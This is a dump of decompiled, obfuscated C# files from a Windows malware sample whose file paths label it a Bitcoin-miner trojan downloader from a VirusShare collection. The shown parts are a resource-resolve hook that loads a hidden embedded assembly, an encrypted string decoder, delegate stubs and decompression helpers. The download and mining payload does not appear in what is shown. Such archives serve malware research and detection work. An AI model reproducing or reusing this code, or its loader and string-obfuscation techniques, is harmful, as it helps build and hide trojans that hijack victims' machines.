+
+    internal static void \u0089()
+    {
+      try
+      {
+        AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00062.\u0089);
+      }
+      catch (Exception ex)
+      {
+      }
+    }
+
+    internal static Assembly \u0089([In] object obj0, [In] ResolveEventArgs obj1)
+    {
+      if ((object) \u00062.\u0001 == null)
+      {
+        lock (\u00062.\u0002)
+        {
+          \u00062.\u0001 = Assembly.Load(\u0008.\u000E\u0003(69));
+          if ((object) \u00062.\u0001 != null)
+            \u00062.\u0002 = \u00062.\u0001.GetManifestResourceNames();
+        }
+      }
+      string name = obj1.Name;
+      for (int index = 0; index < \u00062.\u0002.Length; ++index)
+      {
+        if (\u00062.\u0002[index] == name)
+          return \u00062.\u0001;
+      }
+      return (Assembly) null;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006/_00063.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: .3
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0006;
+using System.Runtime.InteropServices;
+
+namespace \u0006
+{
+  internal sealed class \u00063
+  {
+    internal static \u00063.\u0006 \u0001;
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u0006
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate bool \u0006\u0004([In] object obj0, [In] string obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate void \u0006\u0005([In] object obj0, [In] int obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007/_001A.cs

@@ -0,0 +1,87 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0007;
+using System.Runtime.InteropServices;
+
+namespace \u0007
+{
+  internal sealed class \u001A
+  {
+    internal static \u001A.\u001B \u0001;
+    internal static \u001A.\u001C \u0002;
+    internal static \u001A.\u001D \u0003;
+    internal static \u001A.\u001E \u0004;
+    internal static \u001A.\u001F \u0005;
+    internal static \u001A.\u007F \u0006;
+    internal static \u001A.\u0080 \u0007;
+    internal static \u001A.\u0081 \u0008;
+    internal static \u001A.\u0082 \u000E;
+    internal static \u001A.\u0083 \u000F;
+    internal static \u001A.\u0084 \u0010;
+    internal static \u001A.\u0086 \u0011;
+
+    [StructLayout(LayoutKind.Explicit, Size = 160, Pack = 1)]
+    private struct \u001B
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
+    private struct \u001C
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
+    private struct \u001D
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u001E
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u001F
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
+    private struct \u007F
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
+    private struct \u0080
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
+    private struct \u0081
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
+    private struct \u0082
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
+    private struct \u0083
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
+    private struct \u0084
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
+    private struct \u0086
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007/_0094_0002.cs

@@ -0,0 +1,58 @@
+// Decompiled with JetBrains decompiler
+// Type: .”
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0007;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0007
+{
+  [CompilerGenerated]
+  internal sealed class \u0094\u0002
+  {
+    internal static \u0094\u0002.\u0095\u0002 \u0001;
+    internal static \u0094\u0002.\u0096\u0002 \u0002;
+    internal static \u0094\u0002.\u0097\u0002 \u0003;
+    internal static \u0094\u0002.\u0098\u0002 \u0004;
+    internal static \u0094\u0002.\u0099\u0002 \u0005;
+    internal static \u0094\u0002.\u0099\u0002 \u0006;
+    internal static \u0094\u0002.\u009A\u0002 \u0007;
+    internal static \u0094\u0002.\u009A\u0002 \u0008;
+    internal static \u0094\u0002.\u0096\u0002 \u000E;
+    internal static \u0094\u0002.\u0096\u0002 \u000F;
+    internal static \u0094\u0002.\u0097\u0002 \u0010;
+
+    [StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
+    private struct \u0095\u0002
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
+    private struct \u0096\u0002
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
+    private struct \u0097\u0002
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
+    private struct \u0098\u0002
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u0099\u0002
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
+    private struct \u009A\u0002
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate bool \u0007\u0003([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate Array \u0007\u0004([In] object obj0, [In] Type obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0007\u0005([In] object obj0, [In] string obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0008_0003.cs

@@ -0,0 +1,11 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Reflection;
+using System.Reflection.Emit;
+using System.Runtime.InteropServices;
+
+internal delegate void \u0008\u0003([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0008_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate void \u0008\u0004([In] object obj0, [In] byte[] obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0008_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+internal delegate void \u0008\u0005([In] object obj0, [In] SizeGripStyle obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E/_0008.cs

@@ -0,0 +1,116 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0012;
+using System.Collections;
+using System.IO;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace \u000E
+{
+  internal sealed class \u0008
+  {
+    private static string \u0001 = "1";
+    private static string \u0002 = "68";
+    private static byte[] \u0003 = (byte[]) null;
+    private static Hashtable \u0004 = (Hashtable) null;
+    private static bool \u0005 = false;
+    private static int \u0006 = 0;
+
+    public static string \u000E\u0003([In] int obj0)
+    {
+      obj0 -= \u0008.\u0006;
+      if (\u0008.\u0005)
+      {
+        string str = (string) \u001E\u0003.\u007E\u000F\u0004((object) \u0008.\u0004, (object) obj0);
+        if (str != null)
+          return str;
+      }
+      int num1 = obj0;
+      byte[] numArray1 = \u0008.\u0003;
+      int index1 = num1;
+      int num2 = index1 + 1;
+      int num3 = (int) numArray1[index1];
+      int num4;
+      if ((num3 & 128) == 0)
+      {
+        num4 = num3;
+        if (num4 == 0)
+          return string.Empty;
+      }
+      else if ((num3 & 64) == 0)
+      {
+        num4 = ((num3 & 63) << 8) + (int) \u0008.\u0003[num2++];
+      }
+      else
+      {
+        int num5 = (num3 & 31) << 24;
+        byte[] numArray2 = \u0008.\u0003;
+        int index2 = num2;
+        int num6 = index2 + 1;
+        int num7 = (int) numArray2[index2] << 16;
+        int num8 = num5 + num7;
+        byte[] numArray3 = \u0008.\u0003;
+        int index3 = num6;
+        int num9 = index3 + 1;
+        int num10 = (int) numArray3[index3] << 8;
+        int num11 = num8 + num10;
+        byte[] numArray4 = \u0008.\u0003;
+        int index4 = num9;
+        num2 = index4 + 1;
+        int num12 = (int) numArray4[index4];
+        num4 = num11 + num12;
+      }
+      try
+      {
+        byte[] numArray5 = \u000E\u0003.\u0019\u0003(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), \u0008.\u0003, num2, num4));
+        string str = \u0084\u0004.\u0080\u0002(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), numArray5, 0, numArray5.Length));
+        if (\u0008.\u0005)
+        {
+          try
+          {
+            \u0080\u0004.\u007E\u0008\u0004((object) \u0008.\u0004, (object) obj0, (object) str);
+          }
+          catch
+          {
+          }
+        }
+        return str;
+      }
+      catch
+      {
+        return (string) null;
+      }
+    }
+
+    static \u0008()
+    {
+      if (\u0080\u0005.\u0001\u0002(\u0008.\u0001, "1"))
+      {
+        \u0008.\u0005 = true;
+        \u0008.\u0004 = new Hashtable();
+      }
+      \u0008.\u0006 = \u008D\u0003.\u0017\u0003(\u0008.\u0002);
+      Assembly assembly = \u0015\u0003.\u001B\u0004();
+      Stream stream = \u000E\u0005.\u007E\u0015\u0004((object) assembly, "{658bfc85-36e1-493d-98e6-ae9127d73d60}");
+      try
+      {
+        int length = \u0087\u0003.\u0016\u0003(\u007F\u0004.\u007E\u0003\u0005((object) stream));
+        byte[] numArray = new byte[(int) checked ((uint) length)];
+        int num = \u0089\u0005.\u007E\u000F\u0005((object) stream, numArray, 0, length);
+        \u0008.\u0003 = \u0011.\u000F\u0003(numArray);
+        \u0093\u0003.\u007E\u0006\u0005((object) stream);
+      }
+      finally
+      {
+        if (stream != null)
+          \u0093\u0003.\u007E\u009E((object) stream);
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0008_0002.cs

@@ -0,0 +1,132 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u000E\u0002;
+using \u0017\u0002;
+using ICSharpCode.SharpZipLib;
+using ICSharpCode.SharpZipLib.Zip;
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u000E\u0002
+{
+  internal sealed class \u0008\u0002 : Stream
+  {
+    protected \u0013 \u0001;
+    protected \u0016\u0002 \u0002;
+    private Stream \u0003;
+    private bool \u0004;
+    private bool \u0005 = true;
+
+    public \u0008\u0002([In] Stream obj0, [In] \u0013 obj1)
+      : this(obj0, obj1, 4096)
+    {
+    }
+
+    public \u0008\u0002([In] Stream obj0, [In] \u0013 obj1, [In] int obj2)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(1426));
+      if (obj1 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(1447));
+      if (obj2 <= 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(1460));
+      this.\u0003 = obj0;
+      this.\u0001 = obj1;
+      this.\u0002 = new \u0016\u0002(obj0, obj2);
+    }
+
+    protected void \u009C\u0003()
+    {
+      if (this.\u0002.\u0086\u0004() <= 0)
+        goto label_3;
+label_2:
+      this.\u0002.\u0087\u0004(this.\u0001);
+      return;
+label_3:
+      this.\u0002.\u009C\u0003();
+      if (this.\u0002.\u0086\u0004() <= 0)
+        throw new SharpZipBaseException(\u0008.\u000E\u0003(1477));
+      goto label_2;
+    }
+
+    [SpecialName]
+    public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0003);
+
+    [SpecialName]
+    public override bool get_CanSeek() => false;
+
+    [SpecialName]
+    public override bool get_CanWrite() => false;
+
+    [SpecialName]
+    public override long get_Length() => (long) this.\u0002.\u0084\u0004();
+
+    [SpecialName]
+    public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0003);
+
+    [SpecialName]
+    public override void set_Position([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1498));
+
+    public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0003);
+
+    public override long Seek([In] long obj0, [In] SeekOrigin obj1) => throw new NotSupportedException(\u0008.\u000E\u0003(1555));
+
+    public override void SetLength([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1580));
+
+    public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotSupportedException(\u0008.\u000E\u0003(1641));
+
+    public override void WriteByte([In] byte obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1694));
+
+    public override IAsyncResult BeginWrite(
+      [In] byte[] obj0,
+      [In] int obj1,
+      [In] int obj2,
+      [In] AsyncCallback obj3,
+      [In] object obj4)
+    {
+      throw new NotSupportedException(\u0008.\u000E\u0003(1755));
+    }
+
+    public override void Close()
+    {
+      if (this.\u0004)
+        return;
+      this.\u0004 = true;
+      if (!this.\u0005)
+        return;
+      \u0093\u0003.\u007E\u0006\u0005((object) this.\u0003);
+    }
+
+    public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      if (this.\u0001.\u008B\u0004())
+        throw new SharpZipBaseException(\u0008.\u000E\u0003(1816));
+      int num1 = obj2;
+      int num2;
+      do
+      {
+        num2 = this.\u0001.\u0012\u0003(obj0, obj1, num1);
+        obj1 += num2;
+        num1 -= num2;
+        if (num1 != 0 && !this.\u0001.\u008C\u0004())
+        {
+          if (this.\u0001.\u0018\u0003())
+            this.\u009C\u0003();
+        }
+        else
+          goto label_8;
+      }
+      while (num2 != 0);
+      throw new ZipException(\u0008.\u000E\u0003(1841));
+label_8:
+      return obj2 - num1;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0014.cs

@@ -0,0 +1,110 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u000E\u0002
+{
+  internal sealed class \u0014
+  {
+    private byte[] \u0001;
+    private int \u0002;
+    private int \u0003;
+    private uint \u0004;
+    private int \u0005;
+
+    public int \u0013\u0003([In] int obj0)
+    {
+      if (this.\u0005 < obj0)
+        goto label_4;
+label_3:
+      return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1));
+label_4:
+      if (this.\u0002 == this.\u0003)
+        return -1;
+      this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005);
+      this.\u0005 += 16;
+      goto label_3;
+    }
+
+    public void \u0014\u0003([In] int obj0)
+    {
+      this.\u0004 >>= obj0;
+      this.\u0005 -= obj0;
+    }
+
+    [SpecialName]
+    public int \u0015\u0003() => this.\u0005;
+
+    [SpecialName]
+    public int \u0016\u0003() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3);
+
+    public void \u0017\u0003()
+    {
+      this.\u0004 >>= this.\u0005 & 7;
+      this.\u0005 &= -8;
+    }
+
+    [SpecialName]
+    public bool \u0018\u0003() => this.\u0002 == this.\u0003;
+
+    public int \u0019\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      if (obj2 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(3156));
+      if ((this.\u0005 & 7) != 0)
+        throw new InvalidOperationException(\u0008.\u000E\u0003(3165));
+      int num1 = 0;
+      while (this.\u0005 > 0 && obj2 > 0)
+      {
+        obj0[obj1++] = (byte) this.\u0004;
+        this.\u0004 >>= 8;
+        this.\u0005 -= 8;
+        --obj2;
+        ++num1;
+      }
+      if (obj2 == 0)
+        return num1;
+      int num2 = this.\u0003 - this.\u0002;
+      if (obj2 > num2)
+        obj2 = num2;
+      \u008F\u0003.\u0098((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2);
+      this.\u0002 += obj2;
+      if ((this.\u0002 - this.\u0003 & 1) != 0)
+      {
+        this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue;
+        this.\u0005 = 8;
+      }
+      return num1 + obj2;
+    }
+
+    public void \u001A\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(568));
+      if (obj1 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(2972));
+      if (obj2 < 0)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(2972));
+      if (this.\u0002 < this.\u0003)
+        throw new InvalidOperationException(\u0008.\u000E\u0003(3210));
+      int num = obj1 + obj2;
+      if (obj1 > num || num > obj0.Length)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611));
+      if ((obj2 & 1) != 0)
+      {
+        this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005);
+        this.\u0005 += 8;
+      }
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+      this.\u0003 = num;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0015.cs

@@ -0,0 +1,116 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u000E\u0002;
+using System;
+using System.Runtime.InteropServices;
+
+namespace \u000E\u0002
+{
+  internal sealed class \u0015
+  {
+    private byte[] \u0001 = new byte[32768];
+    private int \u0002;
+    private int \u0003;
+
+    public void Write([In] int obj0)
+    {
+      \u0015 obj = this;
+      int num1;
+      int num2 = num1 = obj.\u0003;
+      obj.\u0003 = num1 + 1;
+      if (num2 == 32768)
+        throw new InvalidOperationException(\u0008.\u000E\u0003(3139));
+      this.\u0001[this.\u0002++] = (byte) obj0;
+      this.\u0002 &= (int) short.MaxValue;
+    }
+
+    private void \u001B\u0003([In] int obj0, [In] int obj1, [In] int obj2)
+    {
+      while (obj1-- > 0)
+      {
+        byte[] numArray = this.\u0001;
+        \u0015 obj = this;
+        int num1;
+        int num2 = num1 = obj.\u0002;
+        obj.\u0002 = num1 + 1;
+        int index = num2;
+        int num3 = (int) this.\u0001[obj0++];
+        numArray[index] = (byte) num3;
+        this.\u0002 &= (int) short.MaxValue;
+        obj0 &= (int) short.MaxValue;
+      }
+    }
+
+    public void \u001C\u0003([In] int obj0, [In] int obj1)
+    {
+      if ((this.\u0003 += obj0) > 32768)
+        throw new InvalidOperationException(\u0008.\u000E\u0003(3139));
+      int num1 = this.\u0002 - obj1 & (int) short.MaxValue;
+      int num2 = 32768 - obj0;
+      if (num1 <= num2 && this.\u0002 < num2)
+      {
+        if (obj0 <= obj1)
+        {
+          \u008F\u0003.\u0098((Array) this.\u0001, num1, (Array) this.\u0001, this.\u0002, obj0);
+          this.\u0002 += obj0;
+        }
+        else
+        {
+          while (obj0-- > 0)
+            this.\u0001[this.\u0002++] = this.\u0001[num1++];
+        }
+      }
+      else
+        this.\u001B\u0003(num1, obj0, obj1);
+    }
+
+    public int \u001D\u0003([In] \u0014 obj0, [In] int obj1)
+    {
+      obj1 = \u0013\u0005.\u0087\u0003(\u0013\u0005.\u0087\u0003(obj1, 32768 - this.\u0003), obj0.\u0016\u0003());
+      int num1 = 32768 - this.\u0002;
+      int num2;
+      if (obj1 > num1)
+      {
+        num2 = obj0.\u0019\u0003(this.\u0001, this.\u0002, num1);
+        if (num2 == num1)
+          num2 += obj0.\u0019\u0003(this.\u0001, 0, obj1 - num1);
+      }
+      else
+        num2 = obj0.\u0019\u0003(this.\u0001, this.\u0002, obj1);
+      this.\u0002 = this.\u0002 + num2 & (int) short.MaxValue;
+      this.\u0003 += num2;
+      return num2;
+    }
+
+    public int \u001E\u0003() => 32768 - this.\u0003;
+
+    public int \u001F\u0003() => this.\u0003;
+
+    public int \u007F\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      int num1 = this.\u0002;
+      if (obj2 > this.\u0003)
+        obj2 = this.\u0003;
+      else
+        num1 = this.\u0002 - this.\u0003 + obj2 & (int) short.MaxValue;
+      int num2 = obj2;
+      int num3 = obj2 - num1;
+      if (num3 > 0)
+      {
+        \u008F\u0003.\u0098((Array) this.\u0001, 32768 - num3, (Array) obj0, obj1, num3);
+        obj1 += num3;
+        obj2 = num1;
+      }
+      \u008F\u0003.\u0098((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
+      this.\u0003 -= num2;
+      if (this.\u0003 < 0)
+        throw new InvalidOperationException();
+      return num2;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0016_0002.cs

@@ -0,0 +1,64 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
